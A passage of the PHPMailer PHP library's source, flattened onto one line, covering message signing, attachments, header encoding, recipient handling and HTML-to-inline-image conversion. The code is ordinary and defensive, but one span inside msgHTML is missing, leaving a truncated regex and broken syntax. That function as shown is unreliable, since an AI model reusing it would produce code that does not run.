tempnam(sys_get_temp_dir(), 'srcsign'); $signed = tempnam(sys_get_temp_dir(), 'mailsign'); file_put_contents($file, $body); //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197 if (empty($this->sign_extracerts_file)) { $sign = @openssl_pkcs7_sign( $file, $signed, 'file://' . realpath($this->sign_cert_file), ['file://' . realpath($this->sign_key_file), $this->sign_key_pass], [] ); } else { $sign = @openssl_pkcs7_sign( $file, $signed, 'file://' . realpath($this->sign_cert_file), ['file://' . realpath($this->sign_key_file), $this->sign_key_pass], [], PKCS7_DETACHED, $this->sign_extracerts_file ); } @unlink($file); if ($sign) { $body = file_get_contents($signed); @unlink($signed); //The message returned by openssl contains both headers and body, so need to split them up $parts = explode("\n\n", $body, 2); $this->MIMEHeader .= $parts[0] . static::$LE . static::$LE; $body = $parts[1]; } else { @unlink($signed); throw new Exception($this->lang('signing') . openssl_error_string()); } } catch (Exception $exc) { $body = ''; if ($this->exceptions) { throw $exc; } } } return $body; } /** * Return the start of a message boundary. * * @param string $boundary * @param string $charSet * @param string $contentType * @param string $encoding * * @return string */ protected function getBoundary($boundary, $charSet, $contentType, $encoding) { $result = ''; if ('' === $charSet) { $charSet = $this->CharSet; } if ('' === $contentType) { $contentType = $this->ContentType; } if ('' === $encoding) { $encoding = $this->Encoding; } $result .= $this->textLine('--' . $boundary); $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet); $result .= static::$LE; //RFC1341 part 5 says 7bit is assumed if not specified if (static::ENCODING_7BIT !== $encoding) { $result .= $this->headerLine('Content-Transfer-Encoding', $encoding); } $result .= static::$LE; return $result; } /** * Return the end of a message boundary. * * @param string $boundary * * @return string */ protected function endBoundary($boundary) { return static::$LE . '--' . $boundary . '--' . static::$LE; } /** * Set the message type. * PHPMailer only supports some preset message types, not arbitrary MIME structures. */ protected function setMessageType() { $type = []; if ($this->alternativeExists()) { $type[] = 'alt'; } if ($this->inlineImageExists()) { $type[] = 'inline'; } if ($this->attachmentExists()) { $type[] = 'attach'; } $this->message_type = implode('_', $type); if ('' === $this->message_type) { //The 'plain' message_type refers to the message having a single body element, not that it is plain-text $this->message_type = 'plain'; } } /** * Format a header line. * * @param string $name * @param string|int $value * * @return string */ public function headerLine($name, $value) { return $name . ': ' . $value . static::$LE; } /** * Return a formatted mail line. * * @param string $value * * @return string */ public function textLine($value) { return $value . static::$LE; } /** * Add an attachment from a path on the filesystem. * Never use a user-supplied path to a file! * Returns false if the file could not be found or read. * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client. * If you need to do that, fetch the resource yourself and pass it in via a local file or string. * * @param string $path Path to the attachment * @param string $name Overrides the attachment name * @param string $encoding File encoding (see $Encoding) * @param string $type MIME type, e.g. `image/jpeg`; determined automatically from $path if not specified * @param string $disposition Disposition to use * * @throws Exception * * @return bool */ public function addAttachment( $path, $name = '', $encoding = self::ENCODING_BASE64, $type = '', $disposition = 'attachment' ) { try { if (!static::fileIsAccessible($path)) { throw new Exception($this->lang('file_access') . $path, self::STOP_CONTINUE); } //If a MIME type is not specified, try to work it out from the file name if ('' === $type) { $type = static::filenameToType($path); } $filename = (string) static::mb_pathinfo($path, PATHINFO_BASENAME); if ('' === $name) { $name = $filename; } if (!$this->validateEncoding($encoding)) { throw new Exception($this->lang('encoding') . $encoding); } $this->attachment[] = [ 0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, //isStringAttachment 6 => $disposition, 7 => $name, ]; } catch (Exception $exc) { $this->setError($exc->getMessage()); $this->edebug($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } return true; } /** * Return the array of attachments. * * @return array */ public function getAttachments() { return $this->attachment; } /** * Attach all file, string, and binary attachments to the message. * Returns an empty string on failure. * * @param string $disposition_type * @param string $boundary * * @throws Exception * * @return string */ protected function attachAll($disposition_type, $boundary) { //Return text of body $mime = []; $cidUniq = []; $incl = []; //Add all attachments foreach ($this->attachment as $attachment) { //Check if it is a valid disposition_filter if ($attachment[6] === $disposition_type) { //Check for string attachment $string = ''; $path = ''; $bString = $attachment[5]; if ($bString) { $string = $attachment[0]; } else { $path = $attachment[0]; } $inclhash = hash('sha256', serialize($attachment)); if (in_array($inclhash, $incl, true)) { continue; } $incl[] = $inclhash; $name = $attachment[2]; $encoding = $attachment[3]; $type = $attachment[4]; $disposition = $attachment[6]; $cid = $attachment[7]; if ('inline' === $disposition && array_key_exists($cid, $cidUniq)) { continue; } $cidUniq[$cid] = true; $mime[] = sprintf('--%s%s', $boundary, static::$LE); //Only include a filename property if we have one if (!empty($name)) { $mime[] = sprintf( 'Content-Type: %s; name=%s%s', $type, static::quotedString($this->encodeHeader($this->secureHeader($name))), static::$LE ); } else { $mime[] = sprintf( 'Content-Type: %s%s', $type, static::$LE ); } //RFC1341 part 5 says 7bit is assumed if not specified if (static::ENCODING_7BIT !== $encoding) { $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, static::$LE); } //Only set Content-IDs on inline attachments if ((string) $cid !== '' && $disposition === 'inline') { $mime[] = 'Content-ID: <' . $this->encodeHeader($this->secureHeader($cid)) . '>' . static::$LE; } //Allow for bypassing the Content-Disposition header if (!empty($disposition)) { $encoded_name = $this->encodeHeader($this->secureHeader($name)); if (!empty($encoded_name)) { $mime[] = sprintf( 'Content-Disposition: %s; filename=%s%s', $disposition, static::quotedString($encoded_name), static::$LE . static::$LE ); } else { $mime[] = sprintf( 'Content-Disposition: %s%s', $disposition, static::$LE . static::$LE ); } } else { $mime[] = static::$LE; } //Encode as string attachment if ($bString) { $mime[] = $this->encodeString($string, $encoding); } else { $mime[] = $this->encodeFile($path, $encoding); } if ($this->isError()) { return ''; } $mime[] = static::$LE; } } $mime[] = sprintf('--%s--%s', $boundary, static::$LE); return implode('', $mime); } /** * Encode a file attachment in requested format. * Returns an empty string on failure. * * @param string $path The full path to the file * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable' * * @return string */ protected function encodeFile($path, $encoding = self::ENCODING_BASE64) { try { if (!static::fileIsAccessible($path)) { throw new Exception($this->lang('file_open') . $path, self::STOP_CONTINUE); } $file_buffer = file_get_contents($path); if (false === $file_buffer) { throw new Exception($this->lang('file_open') . $path, self::STOP_CONTINUE); } $file_buffer = $this->encodeString($file_buffer, $encoding); return $file_buffer; } catch (Exception $exc) { $this->setError($exc->getMessage()); $this->edebug($exc->getMessage()); if ($this->exceptions) { throw $exc; } return ''; } } /** * Encode a string in requested format. * Returns an empty string on failure. * * @param string $str The text to encode * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable' * * @throws Exception * * @return string */ public function encodeString($str, $encoding = self::ENCODING_BASE64) { $encoded = ''; switch (strtolower($encoding)) { case static::ENCODING_BASE64: $encoded = chunk_split( base64_encode($str), static::STD_LINE_LENGTH, static::$LE ); break; case static::ENCODING_7BIT: case static::ENCODING_8BIT: $encoded = static::normalizeBreaks($str); //Make sure it ends with a line break if (substr($encoded, -(strlen(static::$LE))) !== static::$LE) { $encoded .= static::$LE; } break; case static::ENCODING_BINARY: $encoded = $str; break; case static::ENCODING_QUOTED_PRINTABLE: $encoded = $this->encodeQP($str); break; default: $this->setError($this->lang('encoding') . $encoding); if ($this->exceptions) { throw new Exception($this->lang('encoding') . $encoding); } break; } return $encoded; } /** * Encode a header value (not including its label) optimally. * Picks shortest of Q, B, or none. Result includes folding if needed. * See RFC822 definitions for phrase, comment and text positions. * * @param string $str The header value to encode * @param string $position What context the string will be used in * * @return string */ public function encodeHeader($str, $position = 'text') { $matchcount = 0; switch (strtolower($position)) { case 'phrase': if (!preg_match('/[\200-\377]/', $str)) { //Can't use addslashes as we don't know the value of magic_quotes_sybase $encoded = addcslashes($str, "\0..\37\177\\\""); if (($str === $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) { return $encoded; } return "\"$encoded\""; } $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches); break; /* @noinspection PhpMissingBreakStatementInspection */ case 'comment': $matchcount = preg_match_all('/[()"]/', $str, $matches); //fallthrough case 'text': default: $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches); break; } if ($this->has8bitChars($str)) { $charset = $this->CharSet; } else { $charset = static::CHARSET_ASCII; } //Q/B encoding adds 8 chars and the charset ("` =??[QB]??=`"). $overhead = 8 + strlen($charset); if ('mail' === $this->Mailer) { $maxlen = static::MAIL_MAX_LINE_LENGTH - $overhead; } else { $maxlen = static::MAX_LINE_LENGTH - $overhead; } //Select the encoding that produces the shortest output and/or prevents corruption. if ($matchcount > strlen($str) / 3) { //More than 1/3 of the content needs encoding, use B-encode. $encoding = 'B'; } elseif ($matchcount > 0) { //Less than 1/3 of the content needs encoding, use Q-encode. $encoding = 'Q'; } elseif (strlen($str) > $maxlen) { //No encoding needed, but value exceeds max line length, use Q-encode to prevent corruption. $encoding = 'Q'; } else { //No reformatting needed $encoding = false; } switch ($encoding) { case 'B': if ($this->hasMultiBytes($str)) { //Use a custom function which correctly encodes and wraps long //multibyte strings without breaking lines within a character $encoded = $this->base64EncodeWrapMB($str, "\n"); } else { $encoded = base64_encode($str); $maxlen -= $maxlen % 4; $encoded = trim(chunk_split($encoded, $maxlen, "\n")); } $encoded = preg_replace('/^(.*)$/m', ' =?' . $charset . "?$encoding?\\1?=", $encoded); break; case 'Q': $encoded = $this->encodeQ($str, $position); $encoded = $this->wrapText($encoded, $maxlen, true); $encoded = str_replace('=' . static::$LE, "\n", trim($encoded)); $encoded = preg_replace('/^(.*)$/m', ' =?' . $charset . "?$encoding?\\1?=", $encoded); break; default: return $str; } return trim(static::normalizeBreaks($encoded)); } /** * Check if a string contains multi-byte characters. * * @param string $str multi-byte text to wrap encode * * @return bool */ public function hasMultiBytes($str) { if (function_exists('mb_strlen')) { return strlen($str) > mb_strlen($str, $this->CharSet); } //Assume no multibytes (we can't handle without mbstring functions anyway) return false; } /** * Does a string contain any 8-bit chars (in any charset)? * * @param string $text * * @return bool */ public function has8bitChars($text) { return (bool) preg_match('/[\x80-\xFF]/', $text); } /** * Encode and wrap long multibyte strings for mail headers * without breaking lines within a character. * Adapted from a function by paravoid. * * @see http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283 * * @param string $str multi-byte text to wrap encode * @param string $linebreak string to use as linefeed/end-of-line * * @return string */ public function base64EncodeWrapMB($str, $linebreak = null) { $start = '=?' . $this->CharSet . '?B?'; $end = '?='; $encoded = ''; if (null === $linebreak) { $linebreak = static::$LE; } $mb_length = mb_strlen($str, $this->CharSet); //Each line must have length <= 75, including $start and $end $length = 75 - strlen($start) - strlen($end); //Average multi-byte ratio $ratio = $mb_length / strlen($str); //Base64 has a 4:3 ratio $avgLength = floor($length * $ratio * .75); $offset = 0; for ($i = 0; $i < $mb_length; $i += $offset) { $lookBack = 0; do { $offset = $avgLength - $lookBack; $chunk = mb_substr($str, $i, $offset, $this->CharSet); $chunk = base64_encode($chunk); ++$lookBack; } while (strlen($chunk) > $length); $encoded .= $chunk . $linebreak; } //Chomp the last linefeed return substr($encoded, 0, -strlen($linebreak)); } /** * Encode a string in quoted-printable format. * According to RFC2045 section 6.7. * * @param string $string The text to encode * * @return string */ public function encodeQP($string) { return static::normalizeBreaks(quoted_printable_encode($string)); } /** * Encode a string using Q encoding. * * @see http://tools.ietf.org/html/rfc2047#section-4.2 * * @param string $str the text to encode * @param string $position Where the text is going to be used, see the RFC for what that means * * @return string */ public function encodeQ($str, $position = 'text') { //There should not be any EOL in the string $pattern = ''; $encoded = str_replace(["\r", "\n"], '', $str); switch (strtolower($position)) { case 'phrase': //RFC 2047 section 5.3 $pattern = '^A-Za-z0-9!*+\/ -'; break; /* * RFC 2047 section 5.2. * Build $pattern without including delimiters and [] */ /* @noinspection PhpMissingBreakStatementInspection */ case 'comment': $pattern = '\(\)"'; /* Intentional fall through */ case 'text': default: //RFC 2047 section 5.1 //Replace every high ascii, control, =, ? and _ characters $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern; break; } $matches = []; if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) { //If the string contains an '=', make sure it's the first thing we replace //so as to avoid double-encoding $eqkey = array_search('=', $matches[0], true); if (false !== $eqkey) { unset($matches[0][$eqkey]); array_unshift($matches[0], '='); } foreach (array_unique($matches[0]) as $char) { $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded); } } //Replace spaces with _ (more readable than =20) //RFC 2047 section 4.2(2) return str_replace(' ', '_', $encoded); } /** * Add a string or binary attachment (non-filesystem). * This method can be used to attach ascii or binary data, * such as a BLOB record from a database. * * @param string $string String attachment data * @param string $filename Name of the attachment * @param string $encoding File encoding (see $Encoding) * @param string $type File extension (MIME) type * @param string $disposition Disposition to use * * @throws Exception * * @return bool True on successfully adding an attachment */ public function addStringAttachment( $string, $filename, $encoding = self::ENCODING_BASE64, $type = '', $disposition = 'attachment' ) { try { //If a MIME type is not specified, try to work it out from the file name if ('' === $type) { $type = static::filenameToType($filename); } if (!$this->validateEncoding($encoding)) { throw new Exception($this->lang('encoding') . $encoding); } //Append to $attachment array $this->attachment[] = [ 0 => $string, 1 => $filename, 2 => static::mb_pathinfo($filename, PATHINFO_BASENAME), 3 => $encoding, 4 => $type, 5 => true, //isStringAttachment 6 => $disposition, 7 => 0, ]; } catch (Exception $exc) { $this->setError($exc->getMessage()); $this->edebug($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } return true; } /** * Add an embedded (inline) attachment from a file. * This can include images, sounds, and just about any other document type. * These differ from 'regular' attachments in that they are intended to be * displayed inline with the message, not just attached for download. * This is used in HTML messages that embed the images * the HTML refers to using the $cid value. * Never use a user-supplied path to a file! * * @param string $path Path to the attachment * @param string $cid Content ID of the attachment; Use this to reference * the content when using an embedded image in HTML * @param string $name Overrides the attachment name * @param string $encoding File encoding (see $Encoding) * @param string $type File MIME type * @param string $disposition Disposition to use * * @throws Exception * * @return bool True on successfully adding an attachment */ public function addEmbeddedImage( $path, $cid, $name = '', $encoding = self::ENCODING_BASE64, $type = '', $disposition = 'inline' ) { try { if (!static::fileIsAccessible($path)) { throw new Exception($this->lang('file_access') . $path, self::STOP_CONTINUE); } //If a MIME type is not specified, try to work it out from the file name if ('' === $type) { $type = static::filenameToType($path); } if (!$this->validateEncoding($encoding)) { throw new Exception($this->lang('encoding') . $encoding); } $filename = (string) static::mb_pathinfo($path, PATHINFO_BASENAME); if ('' === $name) { $name = $filename; } //Append to $attachment array $this->attachment[] = [ 0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, //isStringAttachment 6 => $disposition, 7 => $cid, ]; } catch (Exception $exc) { $this->setError($exc->getMessage()); $this->edebug($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } return true; } /** * Add an embedded stringified attachment. * This can include images, sounds, and just about any other document type. * If your filename doesn't contain an extension, be sure to set the $type to an appropriate MIME type. * * @param string $string The attachment binary data * @param string $cid Content ID of the attachment; Use this to reference * the content when using an embedded image in HTML * @param string $name A filename for the attachment. If this contains an extension, * PHPMailer will attempt to set a MIME type for the attachment. * For example 'file.jpg' would get an 'image/jpeg' MIME type. * @param string $encoding File encoding (see $Encoding), defaults to 'base64' * @param string $type MIME type - will be used in preference to any automatically derived type * @param string $disposition Disposition to use * * @throws Exception * * @return bool True on successfully adding an attachment */ public function addStringEmbeddedImage( $string, $cid, $name = '', $encoding = self::ENCODING_BASE64, $type = '', $disposition = 'inline' ) { try { //If a MIME type is not specified, try to work it out from the name if ('' === $type && !empty($name)) { $type = static::filenameToType($name); } if (!$this->validateEncoding($encoding)) { throw new Exception($this->lang('encoding') . $encoding); } //Append to $attachment array $this->attachment[] = [ 0 => $string, 1 => $name, 2 => $name, 3 => $encoding, 4 => $type, 5 => true, //isStringAttachment 6 => $disposition, 7 => $cid, ]; } catch (Exception $exc) { $this->setError($exc->getMessage()); $this->edebug($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } return true; } /** * Validate encodings. * * @param string $encoding * * @return bool */ protected function validateEncoding($encoding) { return in_array( $encoding, [ self::ENCODING_7BIT, self::ENCODING_QUOTED_PRINTABLE, self::ENCODING_BASE64, self::ENCODING_8BIT, self::ENCODING_BINARY, ], true ); } /** * Check if an embedded attachment is present with this cid. * * @param string $cid * * @return bool */ protected function cidExists($cid) { foreach ($this->attachment as $attachment) { if ('inline' === $attachment[6] && $cid === $attachment[7]) { return true; } } return false; } /** * Check if an inline attachment is present. * * @return bool */ public function inlineImageExists() { foreach ($this->attachment as $attachment) { if ('inline' === $attachment[6]) { return true; } } return false; } /** * Check if an attachment (non-inline) is present. * * @return bool */ public function attachmentExists() { foreach ($this->attachment as $attachment) { if ('attachment' === $attachment[6]) { return true; } } return false; } /** * Check if this message has an alternative body set. * * @return bool */ public function alternativeExists() { return !empty($this->AltBody); } /** * Clear queued addresses of given kind. * * @param string $kind 'to', 'cc', or 'bcc' */ public function clearQueuedAddresses($kind) { $this->RecipientsQueue = array_filter( $this->RecipientsQueue, static function ($params) use ($kind) { return $params[0] !== $kind; } ); } /** * Clear all To recipients. */ public function clearAddresses() { foreach ($this->to as $to) { unset($this->all_recipients[strtolower($to[0])]); } $this->to = []; $this->clearQueuedAddresses('to'); } /** * Clear all CC recipients. */ public function clearCCs() { foreach ($this->cc as $cc) { unset($this->all_recipients[strtolower($cc[0])]); } $this->cc = []; $this->clearQueuedAddresses('cc'); } /** * Clear all BCC recipients. */ public function clearBCCs() { foreach ($this->bcc as $bcc) { unset($this->all_recipients[strtolower($bcc[0])]); } $this->bcc = []; $this->clearQueuedAddresses('bcc'); } /** * Clear all ReplyTo recipients. */ public function clearReplyTos() { $this->ReplyTo = []; $this->ReplyToQueue = []; } /** * Clear all recipient types. */ public function clearAllRecipients() { $this->to = []; $this->cc = []; $this->bcc = []; $this->all_recipients = []; $this->RecipientsQueue = []; } /** * Clear all filesystem, string, and binary attachments. */ public function clearAttachments() { $this->attachment = []; } /** * Clear all custom headers. */ public function clearCustomHeaders() { $this->CustomHeader = []; } /** * Add an error message to the error container. * * @param string $msg */ protected function setError($msg) { ++$this->error_count; if ('smtp' === $this->Mailer && null !== $this->smtp) { $lasterror = $this->smtp->getError(); if (!empty($lasterror['error'])) { $msg .= $this->lang('smtp_error') . $lasterror['error']; if (!empty($lasterror['detail'])) { $msg .= ' Detail: ' . $lasterror['detail']; } if (!empty($lasterror['smtp_code'])) { $msg .= ' SMTP code: ' . $lasterror['smtp_code']; } if (!empty($lasterror['smtp_code_ex'])) { $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex']; } } } $this->ErrorInfo = $msg; } /** * Return an RFC 822 formatted date. * * @return string */ public static function rfcDate() { //Set the time zone to whatever the default is to avoid 500 errors //Will default to UTC if it's not set properly in php.ini date_default_timezone_set(@date_default_timezone_get()); return date('D, j M Y H:i:s O'); } /** * Get the server hostname. * Returns 'localhost.localdomain' if unknown. * * @return string */ protected function serverHostname() { $result = ''; if (!empty($this->Hostname)) { $result = $this->Hostname; } elseif (isset($_SERVER) && array_key_exists('SERVER_NAME', $_SERVER)) { $result = $_SERVER['SERVER_NAME']; } elseif (function_exists('gethostname') && gethostname() !== false) { $result = gethostname(); } elseif (php_uname('n') !== false) { $result = php_uname('n'); } if (!static::isValidHost($result)) { return 'localhost.localdomain'; } return $result; } /** * Validate whether a string contains a valid value to use as a hostname or IP address. * IPv6 addresses must include [], e.g. `[::1]`, not just `::1`. * * @param string $host The host name or IP address to check * * @return bool */ public static function isValidHost($host) { //Simple syntax limits if ( empty($host) || !is_string($host) || strlen($host) > 256 || !preg_match('/^([a-zA-Z\d.-]*|\[[a-fA-F\d:]+])$/', $host) ) { return false; } //Looks like a bracketed IPv6 address if (strlen($host) > 2 && substr($host, 0, 1) === '[' && substr($host, -1, 1) === ']') { return filter_var(substr($host, 1, -1), FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) !== false; } //If removing all the dots results in a numeric string, it must be an IPv4 address. //Need to check this first because otherwise things like `999.0.0.0` are considered valid host names if (is_numeric(str_replace('.', '', $host))) { //Is it a valid IPv4 address? return filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) !== false; } if (filter_var('http://' . $host, FILTER_VALIDATE_URL) !== false) { //Is it a syntactically valid hostname? return true; } return false; } /** * Get an error message in the current language. * * @param string $key * * @return string */ protected function lang($key) { if (count($this->language) < 1) { $this->setLanguage(); //Set the default language } if (array_key_exists($key, $this->language)) { if ('smtp_connect_failed' === $key) { //Include a link to troubleshooting docs on SMTP connection failure. //This is by far the biggest cause of support questions //but it's usually not PHPMailer's fault. return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting'; } return $this->language[$key]; } //Return the key as a fallback return $key; } /** * Check if an error occurred. * * @return bool True if an error did occur */ public function isError() { return $this->error_count > 0; } /** * Add a custom header. * $name value can be overloaded to contain * both header name and value (name:value). * * @param string $name Custom header name * @param string|null $value Header value * * @throws Exception */ public function addCustomHeader($name, $value = null) { if (null === $value && strpos($name, ':') !== false) { //Value passed in as name:value list($name, $value) = explode(':', $name, 2); } $name = trim($name); $value = trim($value); //Ensure name is not empty, and that neither name nor value contain line breaks if (empty($name) || strpbrk($name . $value, "\r\n") !== false) { if ($this->exceptions) { throw new Exception('Invalid header name or value'); } return false; } $this->CustomHeader[] = [$name, $value]; return true; } /** * Returns all custom headers. * * @return array */ public function getCustomHeaders() { return $this->CustomHeader; } /** * Create a message body from an HTML string. * Automatically inlines images and creates a plain-text version by converting the HTML, * overwriting any existing values in Body and AltBody. * Do not source $message content from user input! * $basedir is prepended when handling relative URLs, e.g. and must not be empty * will look for an image file in $basedir/images/a.png and convert it to inline. * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email) * Converts data-uri images into embedded attachments. * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly. * * @param string $message HTML message string * @param string $basedir Absolute path to a base directory to prepend to relative paths to images * @param bool|callable $advanced Whether to use the internal HTML to text converter * or your own custom converter * @return string The transformed message body * * @throws Exception * * @see PHPMailer::html2text() */ public function msgHTML($message, $basedir = '', $advanced = false) { preg_match_all('/(? 1 && '/' !== substr($basedir, -1)) { //Ensure $basedir has a trailing / $basedir .= '/'; } foreach ($images[2] as $imgindex => $url) { //Convert data URIs into embedded images //e.g. "data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" $match = []; if (preg_match('#^data:(image/(?:jpe?g|gif|png));?(base64)?,(.+)#', $url, $match)) { if (count($match) === 4 && static::ENCODING_BASE64 === $match[2]) { $data = base64_decode($match[3]); } elseif ('' === $match[2]) { $data = rawurldecode($match[3]); } else { //Not recognised so leave it alone continue; } //Hash the decoded data, not the URL, so that the same data-URI image used in multiple places //will only be embedded once, even if it used a different encoding $cid = substr(hash('sha256', $data), 0, 32) . '@phpmailer.0'; //RFC2392 S 2 if (!$this->cidExists($cid)) { $this->addStringEmbeddedImage( $data, $cid, 'embed' . $imgindex, static::ENCODING_BASE64, $match[1] ); } $message = str_replace( $images[0][$imgindex], $images[1][$imgindex] . '="cid:' . $cid . '"', $message ); continue; } if ( //Only process relative URLs if a basedir is provided (i.e. no absolute local paths) !empty($basedir) //Ignore URLs containing parent dir traversal (..) && (strpos($url, '..') === false) //Do not change urls that are already inline images && 0 !== strpos($url, 'cid:') //Do not change absolute URLs, including anonymous protocol && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url) ) { $filename = static::mb_pathinfo($url, PATHINFO_BASENAME); $directory = dirname($url); if ('.' === $directory) { $directory = ''; } //RFC2392 S 2 $cid = substr(hash('sha256', $url), 0, 32) . '@phpmailer.0'; if (strlen($basedir) > 1 && '/' !== substr($basedir, -1)) { $basedir .= '/'; } if (strlen($directory) > 1 && '/' !== substr($directory, -1)) { $directory .= '/'; } if ( $this->addEmbeddedImage( $basedir . $directory . $filename, $cid, $filename, static::ENCODING_BASE64, static::_mime_types((string) static::mb_pathinfo($filename, PATHINFO_EXTENSION)) ) ) { $message = preg_replace( '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui', $images[1][$imgindex] . '="cid:' . $cid . '"', $message ); } } } } $this->isHTML(); //Convert all message body line breaks to LE, makes quoted-printable encoding work much better $this->Body = static::normalizeBreaks($message); $this->AltBody = static::normalizeBreaks($this->html2text($message, $advanced)); if (!$this->alternativeExists()) { $this->AltBody = 'This is an HTML-only message. To view it, activate HTML in your email application.' . static::$LE; } return $this->Body; } /** * Convert an HTML string into plain text. * This is used by msgHTML(). * Note - older versions of this function used a bundled advanced converter * which was removed for license reasons in #232. * Example usage: * * ```php * //Use default conversion * $plain = $mail->html2text($html); * //Use your own custom converter * $plain = $mail->html2text($html, function($html) { * $converter = new MyHtml2text($html); * return $converter->get_text(); * }); * ``` * * @param string $html The HTML text to convert * @param bool|callable $advanced Any boolean value to use the internal converter, * or provide your own callable for custom conversion * * @return string */ public function html2text($html, $advanced = false) { if (is_callable($advanced)) { return call_user_func($advanced, $html); } return html_entity_decode( trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))), ENT_QUOTES, $this->CharSet ); } /** * Get the MIME type for a file extension. * * @param string $ext File extension * * @return string MIME type of file */ public static function _mime_types($ext = '') { $mimes = [ 'xl' => 'application/excel', 'js' => 'application/javascript', 'hqx' => 'application/mac-binhex40', 'cpt' => 'application/mac-compactpro', 'bin' => 'application/macbinary', 'doc' => 'application/msword', 'word' => 'application/msword', 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', 'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template', 'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template', 'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow', 'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation', 'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide', 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', 'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template', 'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12', 'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12', 'class' => 'application/octet-stream', 'dll' => 'application/octet-stream', 'dms' => 'application/octet-stream', 'exe' => 'application/octet-stream', 'lha' => 'application/octet-stream', 'lzh' => 'application/octet-stream', 'psd' => 'application/octet-stream', 'sea' => 'application/octet-stream', 'so' => 'application/octet-stream', 'oda' => 'application/oda', 'pdf' => 'application/pdf', 'ai' => 'application/postscript', 'eps' => 'application/postscript', 'ps' => 'application/postscript', 'smi' => 'application/smil', 'smil' => 'application/smil', 'mif' => 'application/vnd.mif', 'xls' => 'application/vnd.ms-excel', 'ppt' => 'application/vnd.ms-powerpoint', 'wbxml' => 'application/vnd.wap.wbxml', 'wmlc' => 'application/vnd.wap.wmlc', 'dcr' => 'application/x-director', 'dir' => 'application/x-director', 'dxr' => 'application/x-director', 'dvi' => 'application/x-dvi', 'gtar' => 'application/x-gtar', 'php3' => 'application/x-httpd-php', 'php4' => 'application/x-httpd-php', 'php' => 'application/x-httpd-php', 'phtml' => 'application/x-httpd-php', 'phps' => 'application/x-httpd-php-source', 'swf' => 'application/x-shockwave-flash', 'sit' => 'application/x-stuffit', 'tar' => 'application/x-tar', 'tgz' => 'application/x-tar', 'xht' => 'application/xhtml+xml', 'xhtml' => 'application/xhtml+xml', 'zip' => 'application/zip', 'mid' => 'audio/midi', 'midi' => 'audio/midi', 'mp2' => 'audio/mpeg', 'mp3' => 'audio/mpeg', 'm4a' => 'audio/mp4', 'mpga' => 'audio/mpeg', 'aif' => 'audio/x-aiff', 'aifc' => 'audio/x-aiff', 'aiff' => 'audio/x-aiff', 'ram' => 'audio/x-pn-realaudio', 'rm' => 'audio/x-pn-realaudio', 'rpm' => 'audio/x-pn-realaudio-plugin', 'ra' => 'audio/x-realaudio', 'wav' => 'audio/x-wav', 'mka' => 'audio/x-matroska', 'bmp' => 'image/bmp', 'gif' => 'image/gif', 'jpeg' => 'image/jpeg', 'jpe' => 'image/jpeg', 'jpg' => 'image/jpeg', 'png' => 'image/png', 'tiff' => 'image/tiff', 'tif' => 'image/tiff', 'webp' => 'image/webp', 'avif' => 'image/avif', 'heif' => 'image/heif', 'heifs' => 'image/heif-sequence', 'heic' => 'image/heic', 'heics' => 'image/heic-sequence', 'eml' => 'message/rfc822', 'css' => 'text/css', 'html' => 'text/html', 'htm' => 'text/html', 'shtml' => 'text/html', 'log' => 'text/plain', 'text' => 'text/plain', 'txt' => 'text/plain', 'rtx' => 'text/richtext', 'rtf' => 'text/rtf', 'vcf' => 'text/vcard', 'vcard' => 'text/vcard', 'ics' => 'text/calendar', 'xml' => 'text/xml', 'xsl' => 'text/xml', 'wmv' => 'video/x-ms-wmv', 'mpeg' => 'video/mpeg', 'mpe' => 'video/mpeg', 'mpg' => 'video/mpeg', 'mp4' => 'video/mp4', 'm4v' => 'video/mp4', 'mov' => 'video/quicktime', 'qt' => 'video/quicktime', 'rv' => 'video/vnd.rn-realvideo', 'avi' => 'video/x-msvideo', 'movie' => 'video/x-sgi-movie', 'webm' => 'video/webm', 'mkv' => 'video/x-matroska', ]; $ext = strtolower($ext); if (array_key_exists($ext, $mimes)) { return $mimes[$ext]; } return 'application/octet-stream'; } /** * Map a file name to a MIME type. * Defaults to 'application/octet-stream', i.e.. arbitrary binary data. * * @param string $filename A file name or full path, does not need to exist as a file * * @return string */ public static function filenameToType($filename) { //In case the path is a URL, strip any query string before getting extension 